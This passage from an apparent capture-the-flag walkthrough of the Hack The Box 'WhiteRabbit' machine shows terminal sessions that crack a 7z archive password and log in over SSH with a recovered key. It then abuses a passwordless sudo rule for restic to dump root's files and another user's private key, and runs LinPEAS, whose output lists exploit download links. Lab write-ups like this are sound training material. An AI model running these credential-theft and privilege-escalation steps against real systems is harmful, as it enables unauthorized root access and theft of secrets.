Will run 4 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
1q2w3e4r5t6y     (bob.7z)     
1g 0:00:05:29 DONE (2025-11-06 16:47) 0.003035g/s 72.37p/s 72.37c/s 72.37C/s 210586..170289
Use the “--show” option to display all of the cracked passwords reliably
Session completed.

Password:

1q2w3e4r5t6y
┌──(kali㉿kali)-[~]
└─$ sudo 7z x bob.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:4 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 572 bytes (1 KiB)
Extracting archive: bob.7z
--
Path = bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1
    
Enter password (will not be echoed):
Everything is Ok
Files: 3
Size:       557
Compressed: 572                                                                                                                                                                                                                                           
<details> <summary>Click to view bash output</summary>
┌──(kali㉿kali)-[~]
└─$ ls -al
total 28
drwxr-xr-x 2 root root 4096 Nov  6 16:48 .
drwxr-xr-x 3 root root 4096 Mar  7  2025 ..
-rw------- 1 root root  399 Mar  7  2025 bob
-rw-r--r-- 1 root root  572 Mar  7  2025 bob.7z
-rw-r--r-- 1 root root   91 Mar  7  2025 bob.pub
-rw-r--r-- 1 root root   67 Mar  7  2025 config
-rw-r--r-- 1 root root  817 Nov  6 16:40 hash.txt
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ cat bob          
cat: bob: Permission denied
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ sudo su         
┌──(root㉿kali)-[/]
└─# cat bob          
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----
                                                                                                                                                                                                                                            
┌──(root㉿kali)-[/]
└─# cat bob.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj root@lucy
                                                                                                                                                                                                                                            
┌──(root㉿kali)-[/]
└─# cat config         
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob
</details>

Okay so we got the Config, RSA Key, and SSH Access instruction, dont forget to make your RSA executable:

┌──(root㉿kali)-[/]
└─# ssh -i bob -p 2222 bob@10.10.11.63
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-57-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
<details> <summary>Click to view text output</summary>
To restore this content, you can run the ‘unminimize’ command.
Last login: 
bob@ebdce80611e9:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@ebdce80611e9:~$ groups
bob
bob@ebdce80611e9:~$ ls -al
total 36
drwxr-x--- 1 bob  bob  4096 Mar 24  2025 .
drwxr-xr-x 1 root root 4096 Mar 24  2025 ..
lrwxrwxrwx 1 root root    9 Mar 24  2025 .bash_history -> /dev/null
-rw-r--r-- 1 bob  bob   220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 bob  bob  3771 Mar 31  2024 .bashrc
drwx------ 2 bob  bob  4096 Mar  6  2025 .cache
-rw-r--r-- 1 bob  bob   807 Mar 31  2024 .profile
drwxr-xr-x 1 bob  bob  4096 Mar 24  2025 .ssh
bob@ebdce80611e9:~$ cd .ssh
bob@ebdce80611e9:~/.ssh$ ls
authorized_keys
bob@ebdce80611e9:~/.ssh$ cat authorized_keys 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj
bob@ebdce80611e9:~/.ssh$ cd /home
bob@ebdce80611e9:/home$ ls
bob
bob@ebdce80611e9:/home$ cd /tmp
bob@ebdce80611e9:/tmp$ ls
test
bob@ebdce80611e9:/tmp$ cd /var
bob@ebdce80611e9:/var$ ls
backups  cache  lib  local  lock  log  mail  opt  run  spool  tmp
bob@ebdce80611e9:/var$ cd backups
bob@ebdce80611e9:/var/backups$ ls
bob@ebdce80611e9:/var/backups$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr 22  2024 .
drwxr-xr-x 1 root root 4096 Aug  1  2024 ..
bob@ebdce80611e9:/var/backups$ 
</details> <details> <summary>Click to view text output</summary>
bob@ebdce80611e9:~$ ip -a
-bash: ip: command not found
bob@ebdce80611e9:~$ cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::  ip6-localnet
ff00::  ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2      ebdce80611e9
bob@ebdce80611e9:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:ing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
bob:x:1001:1001::/home/bob:/bin/bash
bob@ebdce80611e9:~$ ip addr
-bash: ip: command not found
bob@ebdce80611e9:~$ ip a
-bash: ip: command not found
bob@ebdce80611e9:~$ hostname -I
172.17.0.2 
bob@ebdce80611e9:~$ 
</details>

Oh and by the way, this is the Total Domain in this box we’ve collected:

  • whiterabbit.htb

  • status.whiterabbit.htb

  • a668910b5514e.whiterabbit.htb

  • ddb09a8558c9.whiterabbit.htb

  • 28efa8f7df.whiterabbit.htb

  • 75951e6ff.whiterabbit.htb

  1. Initial Access and PrivEsc Enumeration
bob@ebdce80611e9:~$ sudo -i
[sudo] password for bob: 
sudo: a password is required
bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic
bob@ebdce80611e9:~$ 

Wow, we don’t need LinPEAS at the moment since this might be enough, our PrivEsc are involving GTFOBin Attack.

This could be it?

bob@ebdce80611e9:~$ restic -h
restic is a backup program which allows saving multiple revisions of files and
directories in an encrypted repository stored on different backends.
The full documentation can be found at https://restic.readthedocs.io/ .
Usage:
  restic [command]
<details> <summary>Click to view text output</summary>
Available Commands:
  backup        Create a new backup of files and/or directories
  cache         Operate on local cache directories
  cat           Print internal objects to stdout
  check         Check the repository for errors
  copy          Copy snapshots from one repository to another
  diff          Show differences between two snapshots
  dump          Print a backed-up file to stdout
  find          Find a file, a directory or restic IDs
  forget        Remove snapshots from the repository
  generate      Generate manual pages and auto-completion files (bash, fish, zsh, powershell)
  help          Help about any command
  init          Initialize a new repository
  key           Manage keys (passwords)
  list          List objects in the repository
  ls            List files in a snapshot
  migrate       Apply migrations
  mount         Mount the repository
  prune         Remove unneeded data from the repository
  recover       Recover data from the repository not referenced by snapshots
  repair        Repair the repository
  restore       Extract the data from a snapshot
  rewrite       Rewrite snapshots to exclude unwanted files
  snapshots     List all snapshots
  stats         Scan the repository and show basic statistics
  tag           Modify tags on snapshots
  unlock        Remove locks other processes created
  version       Print version information
</details> <details> <summary>Click to view text output</summary>
Flags:
      --cacert file                file to load root certificates from (default: use system certificates or $RESTIC_CACERT)
      --cache-dir directory        set the cache directory. (default: use system default cache directory)
      --cleanup-cache              auto remove old cache directories
      --compression mode           compression mode (only available for repository format version 2), one of (auto|off|max) (default: $RESTIC_COMPRESSION) (default auto)
  -h, --help                       help for restic
      --insecure-tls               skip TLS certificate verification when connecting to the repository (insecure)
      --json                       set output mode to JSON for commands that support it
      --key-hint key               key ID of key to try decrypting first (default: $RESTIC_KEY_HINT)
      --limit-download rate        limits downloads to a maximum rate in KiB/s. (default: unlimited)
      --limit-upload rate          limits uploads to a maximum rate in KiB/s. (default: unlimited)
      --no-cache                   do not use a local cache
      --no-extra-verify            skip additional verification of data before upload (see documentation)
      --no-lock                    do not lock the repository, this allows some operations on read-only repositories
  -o, --option key=value           set extended option (key=value, can be specified multiple times)
      --pack-size size             set target pack size in MiB, created pack files may be larger (default: $RESTIC_PACK_SIZE)
      --password-command command   shell command to obtain the repository password from (default: $RESTIC_PASSWORD_COMMAND)
  -p, --password-file file         file to read the repository password from (default: $RESTIC_PASSWORD_FILE)
  -q, --quiet                      do not output comprehensive progress report
  -r, --repo repository            repository to backup to or restore from (default: $RESTIC_REPOSITORY)
      --repository-file file       file to read the repository location from (default: $RESTIC_REPOSITORY_FILE)
      --retry-lock duration        retry to lock the repository if it is already locked, takes a value like 5m or 2h (default: no retries)
      --tls-client-cert file       path to a file containing PEM encoded TLS client certificate and private key (default: $RESTIC_TLS_CLIENT_CERT)
  -v, --verbose                    be verbose (specify multiple times or a level using --verbose=n, max level/times is 2)
</details>
Use “restic [command] --help” for more information about a command.
bob@ebdce80611e9:~$ 

Might try with creating a server that could retrieve between issues of GTFOBin, might try with https://github.com/restic/rest-server:

bob@ebdce80611e9:~$ export RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
bob@ebdce80611e9:~$ export RESTIC_REPOSITORY=rest:http://75951e6ff.whiterabbit.htb
bob@ebdce80611e9:~$ sudo /usr/bin/restic init -r .
enter password for new repository: 
enter password again: 
created restic repository 9d8590c948 at .
Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
bob@ebdce80611e9:~$ sudo restic -r . backup /root/
enter password for repository: 
repository 9d8590c9 opened (version 2, compression level auto)
created new cache in /root/.cache/restic
no parent snapshot found, will read all files
Files:           4 new,     0 changed,     0 unmodified
Dirs:            3 new,     0 changed,     0 unmodified
Added to the repository: 6.493 KiB (3.606 KiB stored)
<details> <summary>Click to view bash output</summary>
processed 4 files, 3.865 KiB in 0:00
snapshot ffcfa2ed saved
bob@ebdce80611e9:~$ sudo restic -r . dump latest /root/
enter password for repository: 
repository 9d8590c9 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
Fatal: cannot dump file: stdout is the terminal, please redirect output
bob@ebdce80611e9:~$ sudo restic -r . dump latest /root/morpheus
enter password for repository: 
repository 9d8590c9 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----
bob@ebdce80611e9:~$ sudo restic -r . dump latest /root/neo
enter password for repository: 
repository 9d8590c9 opened (version 2, compression level auto)
[0:00] 100.00%  1 / 1 index files loaded
Fatal: cannot dump file: path “/root/neo” not found in snapshot
bob@ebdce80611e9:~$ 
</details>

By doing so, we successfully retrieve another User RSA Key. Earlier we saw Username of:

  • Morpheus (We got him)

  • Neo

Neo are not available for now.

┌──(kali㉿kali)-[~]
└─$ sudo ssh -i morpheus morpheus@10.10.11.63        
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-57-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the ‘unminimize’ command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
<details> <summary>Click to view text output</summary>
Last login: 
morpheus@whiterabbit:~$ ls -al
total 36
drwxr-x--- 5 morpheus morpheus 4096 Nov  6 15:20 .
drwxr-xr-x 4 root     root     4096 Aug 30  2024 ..
lrwxrwxrwx 1 morpheus morpheus    9 Aug 30  2024 .bash_history -> /dev/null
-rw-r--r-- 1 morpheus morpheus  220 Aug 30  2024 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Aug 30  2024 .bashrc
drwx------ 2 morpheus morpheus 4096 Aug 30  2024 .cache
-rw-r--r-- 1 morpheus morpheus  807 Aug 30  2024 .profile
drwxrwxr-x 2 morpheus morpheus 4096 Mar 24  2025 .ssh
drwxrwxr-x 2 morpheus morpheus 4096 Nov  6 15:21 temp
-rw-r----- 1 root     morpheus   33 Nov  6 04:01 user.txt
morpheus@whiterabbit:~$ cd .ssh
morpheus@whiterabbit:~/.ssh$ ls -al
total 12
drwxrwxr-x 2 morpheus morpheus 4096 Mar 24  2025 .
drwxr-x--- 5 morpheus morpheus 4096 Nov  6 15:20 ..
-rw-rw-r-- 1 morpheus morpheus  186 Mar 24  2025 authorized_keys
morpheus@whiterabbit:~/.ssh$ cat u
cat: u: No such file or directory
morpheus@whiterabbit:~/.ssh$ cat authorized_keys 
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+wJa+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR4= morpheus@whiterabbit.htb
morpheus@whiterabbit:~/.ssh$ 
</details>

Let’s see the Local Users and info:

morpheus@whiterabbit:~/.ssh$ cd /home
morpheus@whiterabbit:/home$ ls
morpheus  neo
morpheus@whiterabbit:/home$ 

Let’s try to enumerate what we can PrivEsc:

<details> <summary>Click to view bash output</summary>
morpheus@whiterabbit:/home$ ls
morpheus  neo
morpheus@whiterabbit:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:ing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
neo:x:1000:1000:Neo:/home/neo:/bin/bash
caddy:x:999:989:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
morpheus:x:1001:1001:Morpheus,,,:/home/morpheus:/bin/bash
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
_laurel:x:996:988::/var/log/laurel:/bin/false
morpheus@whiterabbit:/home$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
morpheus@whiterabbit:/home$ id
uid=1001(morpheus) gid=1001(morpheus) groups=1001(morpheus),100(users)
morpheus@whiterabbit:/home$ groups
morpheus users
morpheus@whiterabbit:/home$ sudo -l
[sudo] password for morpheus: 
sudo: a password is required
morpheus@whiterabbit:/home$ 
</details>
morpheus@whiterabbit:~$ cat .profile 
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n “$BASH_VERSION” ]; then
    # include .bashrc if it exists
    if [ -f “$HOME/.bashrc” ]; then
        . “$HOME/.bashrc”
    fi
fi
# set PATH so it includes user’s private bin if it exists
if [ -d “$HOME/bin” ] ; then
    PATH=”$HOME/bin:$PATH”
fi
# set PATH so it includes user’s private bin if it exists
if [ -d “$HOME/.local/bin” ] ; then
    PATH=”$HOME/.local/bin:$PATH”
fi

Okay, this are time for LinPEAS.

  1. LinPEAS for Enumeration

We’re already in the White Rabbit:

morpheus@whiterabbit:/tmp$ cat /etc/hosts
127.0.0.1 localhost whiterabbit.htb
127.0.1.1 whiterabbit
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
<details> <summary>Click to view text output</summary>
morpheus@whiterabbit:/home$ cd /tmp
morpheus@whiterabbit:/tmp$ ls
systemd-private-d40f2d0807114f2a8399d9ba92e99b30-systemd-logind.service-YdPIBG    systemd-private-d40f2d0807114f2a8399d9ba92e99b30-systemd-timesyncd.service-a7CCdP
systemd-private-d40f2d0807114f2a8399d9ba92e99b30-systemd-resolved.service-j1RVGf  vmware-root_703-3988031936
morpheus@whiterabbit:/tmp$ cd /var
morpheus@whiterabbit:/var$ ls -al
total 52
drwxr-xr-x 12 root root  4096 Mar 24  2025 .
drwxr-xr-x 22 root root  4096 Mar 24  2025 ..
-rw-r--r--  1 root root   208 Apr 23  2024 .updated
drwxr-xr-x  2 root root  4096 Nov  6 04:50 backups
drwxr-xr-x 10 root root  4096 Apr  1  2025 cache
drwxrwsrwt  2 root root  4096 Apr 23  2024 crash
drwxr-xr-x 34 root root  4096 Apr  1  2025 lib
drwxrwsr-x  2 root staff 4096 Apr 22  2024 local
lrwxrwxrwx  1 root root     9 Apr 23  2024 lock -> /run/lock
drwxr-xr-x 10 root root  4096 Nov  6 04:01 log
drwxrwsr-x  2 root mail  4096 Apr 23  2024 mail
drwxr-xr-x  2 root root  4096 Apr 23  2024 opt
lrwxrwxrwx  1 root root     4 Apr 23  2024 run -> /run
drwxr-xr-x  2 root root  4096 Apr 23  2024 spool
drwxrwxrwt  5 root root  4096 Nov  6 04:01 tmp
morpheus@whiterabbit:/var$ cat .updated 
# This file was created by systemd-update-done. Its only 
# purpose is to hold a timestamp of the time this directory
# was updated. See man:systemd-update-done.service(8).
TIMESTAMP_NSEC=1713865027000000000
morpheus@whiterabbit:/var$ 
</details>

Let’s LinPEAS:

morpheus@whiterabbit:/tmp$ ls -al
total 976
drwxrwxrwt 10 root     root       4096 Nov  7 03:50 .
drwxr-xr-x 22 root     root       4096 Mar 24  2025 ..
drwxrwxrwt  2 root     root       4096 Nov  6 04:00 .ICE-unix
drwxrwxrwt  2 root     root       4096 Nov  6 04:00 .X11-unix
drwxrwxrwt  2 root     root       4096 Nov  6 04:00 .XIM-unix
drwxrwxrwt  2 root     root       4096 Nov  6 04:00 .font-unix
-rw-rw-r--  1 morpheus morpheus 954437 Aug  8 05:30 linpeas.sh
drwx------  3 root     root       4096 Nov  6 04:00 systemd-private-d40f2d0807114f2a8399d9ba92e99b30-systemd-logind.service-YdPIBG
drwx------  3 root     root       4096 Nov  6 04:00 systemd-private-d40f2d0807114f2a8399d9ba92e99b30-systemd-resolved.service-j1RVGf
drwx------  3 root     root       4096 Nov  6 04:00 systemd-private-d40f2d0807114f2a8399d9ba92e99b30-systemd-timesyncd.service-a7CCdP
drwx------  2 root     root       4096 Nov  6 04:01 vmware-root_703-3988031936
morpheus@whiterabbit:/tmp$ bash linpeas.sh
<details> <summary>Click to view text output</summary>
                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
</details>
    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                                                                                                                                                     
    |---------------------------------------------------------------------------------|                                                                                                                                                     
    |         Learn Cloud Hacking       :     https://training.hacktricks.xyz         |                                                                                                                                                     
    |         Follow on Twitter         :     @hacktricks_live                        |                                                                                                                                                     
    |         Respect on HTB            :     SirBroccoli                             |                                                                                                                                                     
    |---------------------------------------------------------------------------------|                                                                                                                                                     
    |                                 Thank you!                                      |                                                                                                                                                     
    \---------------------------------------------------------------------------------/                                                                                                                                                     
          LinPEAS-ng by carlospolop                                                                                                                                                                                                         
                                                                                                                                                                                                                                            
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner’s permission. 
. . .[SNIP]. . . 

I’m just going to show what I think important and vulnerable:

[+] [CVE-2021-4034] PwnKit                                                                                                                                                                                                                  
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: less probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

Then,

A-lot of binary and Regex stuff, until I found this area:

/etc/apparmor.d/1password                                                                                                                                                                                                                   
/etc/credstore
/etc/credstore.encrypted
/etc/pam.d/common-password
/opt/neo-password-generator
/opt/neo-password-generator/neo-password-generator
/usr/bin/systemd-ask-password
/usr/bin/systemd-tty-ask-password-agent
/usr/lib/git-core/git-credential
/usr/lib/git-core/git-credential-cache
/usr/lib/git-core/git-credential-cache--daemon
/usr/lib/git-core/git-credential-store
  #)There are more creds/passwds files in the previous parent folder
<details> <summary>Click to view text output</summary>
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/python3/dist-packages/launchpadlib/__pycache__/credentials.cpython-312.pyc
/usr/lib/python3/dist-packages/launchpadlib/credentials.py
/usr/lib/python3/dist-packages/launchpadlib/tests/__pycache__/test_credential_store.cpython-312.pyc
/usr/lib/python3/dist-packages/launchpadlib/tests/test_credential_store.py
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/__pycache__/client_credentials.cpython-312.pyc
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/__pycache__/resource_owner_password_credentials.cpython-312.pyc
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py
/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py
/usr/lib/systemd/system/multi-user.target.wants/systemd-ask-password-wall.path
/usr/lib/systemd/system/sysinit.target.wants/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-wall.path
/usr/lib/systemd/system/systemd-ask-password-wall.service
  #)There are more creds/passwds files in the previous parent folder
</details>
/usr/lib/tmpfiles.d/credstore.conf
/usr/share/doc/git/contrib/credential
/usr/share/pam/common-password
/usr/share/pam/common-password.md5sums
/var/cache/debconf/passwords.dat
/var/lib/cloud/instances/iid-datasource-none/sem/config_set_passwords
/var/lib/pam/password
morpheus@whiterabbit:/etc$ cat adduser.conf
# /etc/adduser.conf: `adduser’ configuration.
